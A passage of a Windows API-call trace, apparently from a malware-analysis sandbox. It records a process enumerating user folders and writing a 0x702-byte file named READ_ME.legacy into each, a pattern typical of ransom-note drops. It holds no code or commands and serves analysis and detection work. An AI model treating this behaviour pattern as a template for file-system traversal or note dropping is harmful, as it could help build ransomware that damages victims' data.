dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.291] GetLastError () returned 0x0 [0111.291] SetLastError (dwErrCode=0x0) [0111.291] GetLastError () returned 0x0 [0111.291] SetLastError (dwErrCode=0x0) [0111.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.291] GetLastError () returned 0x0 [0111.291] SetLastError (dwErrCode=0x0) [0111.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0111.292] FindNextFileW (in: hFindFile=0x5c5a18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f92128, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1f92128, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1f92128, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0111.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0111.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0111.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0111.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d398 | out: hHeap=0x520000) returned 1 [0111.292] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\Documents\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5858 [0111.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0111.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0111.292] GetLastError () returned 0x12 [0111.292] SetLastError (dwErrCode=0x12) [0111.292] GetLastError () returned 0x12 [0111.292] SetLastError (dwErrCode=0x12) [0111.292] GetLastError () returned 0x12 [0111.292] SetLastError (dwErrCode=0x12) [0111.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0111.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0111.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5f98 [0111.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5f98 | out: hHeap=0x520000) returned 1 [0111.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0111.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0111.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0111.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.293] FindNextFileW (in: hFindFile=0x5c5858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0111.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0111.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0111.293] GetLastError () returned 0x12 [0111.293] SetLastError (dwErrCode=0x12) [0111.293] GetLastError () returned 0x12 [0111.293] SetLastError (dwErrCode=0x12) [0111.293] GetLastError () returned 0x12 [0111.293] SetLastError (dwErrCode=0x12) [0111.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0111.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0111.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5d58 [0111.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5d58 | out: hHeap=0x520000) returned 1 [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0111.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0111.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0111.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.294] FindNextFileW (in: hFindFile=0x5c5858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99a3d0f, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99a3d0f, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99a3d0f, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0111.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0111.294] GetLastError () returned 0x12 [0111.294] SetLastError (dwErrCode=0x12) [0111.294] GetLastError () returned 0x12 [0111.294] SetLastError (dwErrCode=0x12) [0111.294] GetLastError () returned 0x12 [0111.294] SetLastError (dwErrCode=0x12) [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0111.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0111.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0111.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0111.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0111.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0111.295] GetLastError () returned 0x12 [0111.295] SetLastError (dwErrCode=0x12) [0111.295] GetLastError () returned 0x12 [0111.295] SetLastError (dwErrCode=0x12) [0111.295] GetLastError () returned 0x12 [0111.295] SetLastError (dwErrCode=0x12) [0111.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.295] CreateFileW (lpFileName="\\Users\\Default.migrated\\Documents\\My Music\\READ_ME.legacy" (normalized: "c:\\users\\default.migrated\\documents\\my music\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0111.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.299] WriteFile (in: hFile=0x5d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.300] CloseHandle (hObject=0x5d8) returned 1 [0111.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0111.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0111.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0111.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0111.301] FindNextFileW (in: hFindFile=0x5c5858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0111.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0111.301] GetLastError () returned 0x0 [0111.301] SetLastError (dwErrCode=0x0) [0111.301] GetLastError () returned 0x0 [0111.301] SetLastError (dwErrCode=0x0) [0111.301] GetLastError () returned 0x0 [0111.301] SetLastError (dwErrCode=0x0) [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2f8 [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2f8 | out: hHeap=0x520000) returned 1 [0111.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0111.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0111.301] GetLastError () returned 0x0 [0111.302] SetLastError (dwErrCode=0x0) [0111.302] GetLastError () returned 0x0 [0111.302] SetLastError (dwErrCode=0x0) [0111.302] GetLastError () returned 0x0 [0111.302] SetLastError (dwErrCode=0x0) [0111.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.302] CreateFileW (lpFileName="\\Users\\Default.migrated\\Documents\\My Pictures\\READ_ME.legacy" (normalized: "c:\\users\\default.migrated\\documents\\my pictures\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0111.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.303] WriteFile (in: hFile=0x5d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.304] CloseHandle (hObject=0x5d8) returned 1 [0111.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0111.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0111.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0111.304] FindNextFileW (in: hFindFile=0x5c5858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0111.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0111.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0111.304] GetLastError () returned 0x0 [0111.304] SetLastError (dwErrCode=0x0) [0111.304] GetLastError () returned 0x0 [0111.304] SetLastError (dwErrCode=0x0) [0111.304] GetLastError () returned 0x0 [0111.304] SetLastError (dwErrCode=0x0) [0111.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0111.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2f8 [0111.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0111.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2f8 | out: hHeap=0x520000) returned 1 [0111.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0111.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2f8 [0111.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0111.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0111.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0111.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0111.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0111.305] GetLastError () returned 0x0 [0111.305] SetLastError (dwErrCode=0x0) [0111.305] GetLastError () returned 0x0 [0111.305] SetLastError (dwErrCode=0x0) [0111.305] GetLastError () returned 0x0 [0111.305] SetLastError (dwErrCode=0x0) [0111.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.305] CreateFileW (lpFileName="\\Users\\Default.migrated\\Documents\\My Videos\\READ_ME.legacy" (normalized: "c:\\users\\default.migrated\\documents\\my videos\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0111.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.306] WriteFile (in: hFile=0x5d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.307] CloseHandle (hObject=0x5d8) returned 1 [0111.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0111.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0111.307] FindNextFileW (in: hFindFile=0x5c5858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fd61af, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0111.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0111.307] GetLastError () returned 0x0 [0111.307] SetLastError (dwErrCode=0x0) [0111.307] GetLastError () returned 0x0 [0111.307] SetLastError (dwErrCode=0x0) [0111.307] GetLastError () returned 0x0 [0111.308] SetLastError (dwErrCode=0x0) [0111.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0111.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0111.308] FindNextFileW (in: hFindFile=0x5c5858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fd61af, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0111.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0111.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0111.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0111.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0111.308] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5f98 [0111.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0111.308] GetLastError () returned 0x12 [0111.308] SetLastError (dwErrCode=0x12) [0111.308] GetLastError () returned 0x12 [0111.308] SetLastError (dwErrCode=0x12) [0111.308] GetLastError () returned 0x12 [0111.308] SetLastError (dwErrCode=0x12) [0111.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0111.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0111.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0111.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c57d8 [0111.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c57d8 | out: hHeap=0x520000) returned 1 [0111.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0111.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0111.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0111.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.309] FindNextFileW (in: hFindFile=0x5c5f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0111.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.309] GetLastError () returned 0x12 [0111.309] SetLastError (dwErrCode=0x12) [0111.309] GetLastError () returned 0x12 [0111.309] SetLastError (dwErrCode=0x12) [0111.309] GetLastError () returned 0x12 [0111.309] SetLastError (dwErrCode=0x12) [0111.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0111.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0111.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0111.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c57d8 [0111.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c57d8 | out: hHeap=0x520000) returned 1 [0111.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0111.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0111.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0111.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.310] FindNextFileW (in: hFindFile=0x5c5f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Local", cAlternateFileName="")) returned 1 [0111.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0111.310] GetLastError () returned 0x12 [0111.310] SetLastError (dwErrCode=0x12) [0111.310] GetLastError () returned 0x12 [0111.310] SetLastError (dwErrCode=0x12) [0111.310] GetLastError () returned 0x12 [0111.310] SetLastError (dwErrCode=0x12) [0111.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0111.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0111.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0111.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0111.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0111.310] GetLastError () returned 0x12 [0111.310] SetLastError 